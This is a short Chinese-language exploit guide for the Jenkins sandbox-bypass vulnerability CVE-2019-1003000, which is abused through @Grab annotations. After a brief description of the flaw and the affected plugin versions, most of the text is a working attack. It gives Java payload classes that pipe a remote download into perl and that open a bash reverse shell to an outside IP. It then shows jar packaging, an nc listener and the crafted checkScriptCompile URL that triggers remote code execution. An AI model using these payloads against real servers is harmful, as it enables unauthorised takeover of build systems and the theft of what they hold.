文章来源:https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/

漏洞介绍:

2019年1月8日,Jenkins官方发布了一则Script Security and Pipeline 插件远程代码执行漏洞的安全公告,漏洞CVE编号为:CVE-2019-1003000,官方定级为高危。2019年2月15日,网上公布了该漏洞的利用方式,该漏洞允许具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户绕过沙盒保护并在Jenkins主服务器上执行任意代码。

该漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及 Script Security Plugin 1.50之前的版本。该漏洞通过将AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。

漏洞利用步骤:

1、建立java文件,文件名为Orange.java
反弹到dnslog平台
public class Orange {
    public Orange(){
        try {
            String payload = "curl xxx.xxx.com/| perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}
------------
反弹shell
public class Orange {
 public Orange() {
    try {
      String payload = "bash -i >& /dev/tcp/118.xx.xx.xx/444 0>&1";
      String[] cmds = { "/bin/bash", "-c", payload };
      java.lang.Runtime.getRuntime().exec(cmds);
    } catch (Exception e) {
    }
  }
}
2、编译java文件
javac Orange.java
3、jar打包文件
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
//注意org.codehaus.groovy.plugins.Runners的内容必须与类名相同

//打包到web目录下,注意每次目录只能用一次
mkdir -p /var/www/html/11_test/package/payload/10/
jar cvf /var/www/html/11_test/package/payload/10/payload-10.jar .

4、监听本地端口,等待反弹shell 
nc -lvp 444

5、触发payload
http://xxxxx.xx.xxxx:8088/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27payload%27,%20root=%27http://118.xxx.xxx.xxx/11_test/%27)%0a@Grab(group=%27package%27,%20module=%27payload%27,%20version=%2710%27)%0aimport%20Orange
//其中 group module version ,代表的web目录中的/xxxx/xxx/11_test/package/payload/10/